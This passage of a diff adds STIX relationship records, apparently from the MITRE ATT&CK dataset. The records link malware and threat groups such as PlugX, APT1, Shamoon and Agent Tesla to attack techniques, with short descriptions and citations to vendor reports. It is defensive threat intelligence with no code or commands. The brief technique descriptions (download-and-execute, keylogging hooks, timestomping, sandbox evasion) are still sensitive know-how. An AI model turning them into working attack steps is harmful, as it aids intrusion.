"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--9ef645ab-afd1-41d6-ad60-d207fd134748", + "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "source_name": "F-Secure The Dukes", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--0e18b800-906c-4e44-a143-b11c72b3448b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--a2c9bae6-15aa-4ce0-8f4d-01b8fc32a36d", + "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022", + "modified": "2019-04-24T19:41:25.902Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Mandiant FIN5 GrrCON Oct 2016", + "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.", + "url": "https://www.youtube.com/watch?v=fevGZs0EQu8" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", + "description": "[APT1](https://attack.mitre.org/groups/G0006) listed connected network shares.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T15:33:07.629Z", + "id": "relationship--e07b76a4-98d7-4adc-b90e-a1f7f2266867", + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "modified": "2019-08-20T13:08:13.355Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "description": "[AuditCred](https://attack.mitre.org/software/S0347) uses XOR and RC4 to perform decryption on the code functions.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T15:47:41.410Z", + "id": "relationship--d98b5525-3cc5-4058-baf5-d614b91eb814", + "source_ref": "malware--24b4ce59-eaac-4c8b-8634-9b093b7ccd92", + "modified": "2019-01-30T15:47:41.410Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Trend Micro. (2018, November 20). Lazarus Continues Heists, Mounts Attacks on Financial Organizations in Latin America. Retrieved December 3, 2018.", + "source_name": "TrendMicro Lazarus Nov 2018", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) is downloaded using HTTP over port 443.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T16:39:54.526Z", + "id": "relationship--d53cb718-c7a5-42e5-bc2b-dc14ceebbb17", + "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4", + "modified": "2019-06-10T18:25:51.805Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PaloAlto CardinalRat Apr 2017", + "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used malware to obtain a list of running processes on the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T17:33:40.978Z", + "id": "relationship--9f81120a-adde-47cc-95bc-cd8201eb0a11", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "modified": "2019-06-28T15:30:58.761Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Securelist MuddyWater Oct 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.", + "url": "https://securelist.com/muddywater/88059/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[TDTESS](https://attack.mitre.org/software/S0164) has a command to download and execute an additional file.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--af4d45e1-1aa4-444c-b176-31df7aaf9374", + "source_ref": "malware--0b32ec39-ba61-4864-9ebe-b4b0b73caf9a", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.", + "source_name": "ClearSky Wilted Tulip July 2017", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "description": "[PlugX](https://attack.mitre.org/software/S0013) can enumerate and query for information contained within the Windows Registry.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--4cb1a0d0-6276-4c2c-b299-c26c982e9e1e", + "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "modified": "2019-04-19T15:08:15.965Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Lastline PlugX Analysis", + "description": "Vasilenko, R. (2013, December 17). An Analysis of PlugX Malware. Retrieved November 24, 2015.", + "url": "http://labs.lastline.com/an-analysis-of-plugx" + }, + { + "description": "Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018.", + "source_name": "CIRCL PlugX March 2013", + "url": "http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b", + "description": "A version of [PlugX](https://attack.mitre.org/software/S0013) loads as shellcode within a .NET Framework project using msbuild.exe, presumably to bypass application whitelisting techniques.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--14b393f2-6d67-4d4f-8f88-75c8b421c4e2", + "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "modified": "2019-04-19T15:08:15.967Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Palo Alto PlugX June 2017", + "description": "Lancaster, T. and Idrizovic, E.. (2017, June 27). Paranoid PlugX. Retrieved July 13, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/06/unit42-paranoid-plugx/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2715c335-1bf2-4efe-9f18-0691317ff83b", + "description": "[Keydnap](https://attack.mitre.org/software/S0276) uses the keychaindump project to read securityd memory.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--433418bb-0771-4b2d-9d6c-a153f6819798", + "source_ref": "malware--4b072c90-bc7a-432b-940e-016fc1c01761", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Patrick Wardle. (2017, January 1). Mac Malware of 2016. Retrieved September 21, 2018.", + "source_name": "synack 2016 review", + "url": "https://www.synack.com/2017/01/01/mac-malware-2016/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[PoisonIvy](https://attack.mitre.org/software/S0012) hides any strings related to its own indicators of compromise.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--27f8b192-9e86-49dc-abca-5bda3f8f7e89", + "source_ref": "malware--b42378e0-f147-496f-992a-26a49705395b", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018.", + "source_name": "Symantec Darkmoon Aug 2005", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a", + "description": "[SEASHARPEE](https://attack.mitre.org/software/S0185) can timestomp files on victims using a Web shell.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--6d562520-86bb-4251-9431-a4958bec097c", + "source_ref": "malware--0998045d-f96e-4284-95ce-3c8219707486", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.", + "source_name": "FireEye APT34 Webinar Dec 2017", + "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88", + "description": "[Dark Caracal](https://attack.mitre.org/groups/G0070) has used UPX to pack [Bandook](https://attack.mitre.org/software/S0234).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--31fb3ebe-3fc9-4257-b7d5-a1b12b54bbe3", + "source_ref": "intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12", + "modified": "2019-07-16T15:35:21.033Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Lookout Dark Caracal Jan 2018", + "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.", + "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a", + "description": "[USBStealer](https://attack.mitre.org/software/S0136) sets the timestamps of its dropper files to the last-access and last-write timestamps of a standard Windows library chosen on the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--553dbb57-1174-494c-9cfd-dbc83ecc74f6", + "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.", + "source_name": "ESET Sednit USBStealer 2014", + "url": "http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48", + "description": "[SslMM](https://attack.mitre.org/software/S0058) contains a feature to manipulate process privileges and tokens.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--93d83b03-8367-4655-84a5-9abaee885700", + "source_ref": "malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421", + "modified": "2019-04-25T02:48:47.521Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "source_name": "Baumgartner Naikon 2015", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[GeminiDuke](https://attack.mitre.org/software/S0049) uses HTTP and HTTPS for command and control.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--b5a1cf65-c128-4d2e-bd28-54514d1a3aae", + "source_ref": "malware--199463de-d9be-46d6-bb41-07234c1dd5a6", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "source_name": "F-Secure The Dukes", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7", + "description": "[FIN8](https://attack.mitre.org/groups/G0061) has used Registry keys to detect and avoid executing in potential sandboxes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--1ce61b6a-b1fd-4e21-874a-774a1487fa12", + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "modified": "2019-03-22T20:21:57.824Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.079Z", + "id": "relationship--845482a1-a062-407d-a83e-90d883d1d91b", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "modified": "2019-09-03T18:50:16.909Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[Felismus](https://attack.mitre.org/software/S0171) collects the system information, including hostname and OS version, and sends it to the C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--9f653750-2ee6-4d00-906b-c71f1d217288", + "source_ref": "malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.", + "source_name": "Forcepoint Felismus Mar 2017", + "url": "https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[OLDBAIT](https://attack.mitre.org/software/S0138) can use HTTP or SMTP for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--cc065036-1b46-4f5c-935e-fb80bd3de7c7", + "source_ref": "malware--2dd34b01-6110-4aac-835d-b5e7b936b0be", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "source_name": "FireEye APT28", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392", + "description": "[Shamoon](https://attack.mitre.org/software/S0140) creates a new service named \u201cntssrv\u201d to execute the payload.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--73a53379-746e-46db-b101-1fc45df5e458", + "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3", + "modified": "2019-04-24T23:59:16.361Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", + "source_name": "Palo Alto Shamoon Nov 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) can perform keylogging on the victim\u2019s machine by hooking the functions TranslateMessage and WM_KEYDOWN.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T17:59:44.405Z", + "id": "relationship--df0784ed-8411-4215-bebc-51c6ac3bf5df", + "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946", + "modified": "2019-04-16T20:55:20.188Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GDATA Zeus Panda June 2017", + "description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.", + "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[PlugX](https://attack.mitre.org/software/S0013) has a module to download and execute files on the compromised machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T18:17:59.262Z", + "id": "relationship--7c8e34ad-89a4-44cf-bd56-d1583803f086", + "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "modified": "2019-04-19T15:08:15.994Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018.", + "source_name": "CIRCL PlugX March 2013", + "url": "http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638", + "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) encrypts the data with 3DES before sending it over the C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T18:44:05.137Z", + "id": "relationship--c48ff628-9276-492f-a61c-73989785b292", + "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", + "modified": "2019-04-16T14:30:35.382Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Brumaghin, E., et al. (2018, October 15). Old dog, new tricks - Analysing new RTF-based campaign distributing Agent Tesla, Loki with PyREbox. Retrieved November 5, 2018.", + "source_name": "Talos Agent Tesla Oct 2018", + "url": "https://blog.talosintelligence.com/2018/10/old-dog-new-tricks-analysing-new-rtf_15.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[UBoatRAT](https://attack.mitre.org/software/S0333) can start a command shell.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T19:09:26.741Z", + "id": "relationship--3aef452a-4ad9-4882-aebb-0043f2329f1d", + "source_ref": "malware--518bb5f1-91f4-4ff2-b09d-5a94e1ebe95f", + "modified": "2019-04-19T15:10:04.425Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PaloAlto UBoatRAT Nov 2017", + "description": "Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[zwShell](https://attack.mitre.org/software/S0350) can obtain the victim IP address.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T17:48:35.681Z", + "id": "relationship--7558a855-25fc-47cb-84ef-680f337f7d6d", + "source_ref": "malware--54e8672d-5338-4ad1-954a-a7c986bee530", + "modified": "2019-01-30T17:48:35.681Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "McAfee Night Dragon", + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) identifies network drives when they are added to victim systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T18:39:48.381Z", + "id": "relationship--e27ebd5b-4ed3-4c04-96e3-026bd127ed64", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "modified": "2019-07-17T01:18:32.763Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018.", + "source_name": "Securelist Sofacy Feb 2018", + "url": "https://securelist.com/a-slice-of-2017-sofacy-activity/83930/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638", + "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) scrambles and encrypts data using AES256 before sending it to the C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T19:18:20.134Z", + "id": "relationship--8bb51178-fa35-4441-99f3-f01fb305b03b", + "source_ref": "malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29", + "modified": "2019-09-26T16:22:41.980Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018.", + "source_name": "TrendMicro MacOS April 2018", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[Denis](https://attack.mitre.org/software/S0354) collects OS information and the computer name from the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T20:01:45.460Z", + "id": "relationship--2910f5f5-38d6-418a-8566-23d31b93b124", + "source_ref": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a", + "modified": "2019-04-24T20:56:04.719Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Shulmin, A., Yunakovsky, S. (2017, April 28). Use of DNS Tunneling for C&C Communications. Retrieved November 5, 2018.", + "source_name": "Securelist Denis April 2017", + "url": "https://securelist.com/use-of-dns-tunneling-for-cc-communications/78203/" + }, + { + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "source_name": "Cybereason Cobalt Kitty 2017", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[KONNI](https://attack.mitre.org/software/S0356) can delete files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T00:36:41.013Z", + "id": "relationship--432f7a25-5994-4f50-8b75-c62c674f27a7", + "source_ref": "malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1", + "modified": "2019-07-26T18:47:19.304Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Konni May 2017", + "description": "Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018.", + "url": "https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[APT32](https://attack.mitre.org/groups/G0050) has used macros, PowerShell scripts, COM scriptlets, and VBS scripts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T01:07:58.722Z", + "id": "relationship--31d179f8-3ad0-42da-9e82-25100057ca2b", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:38.429Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cybereason Oceanlotus May 2017", + "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.", + "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt" + }, + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + 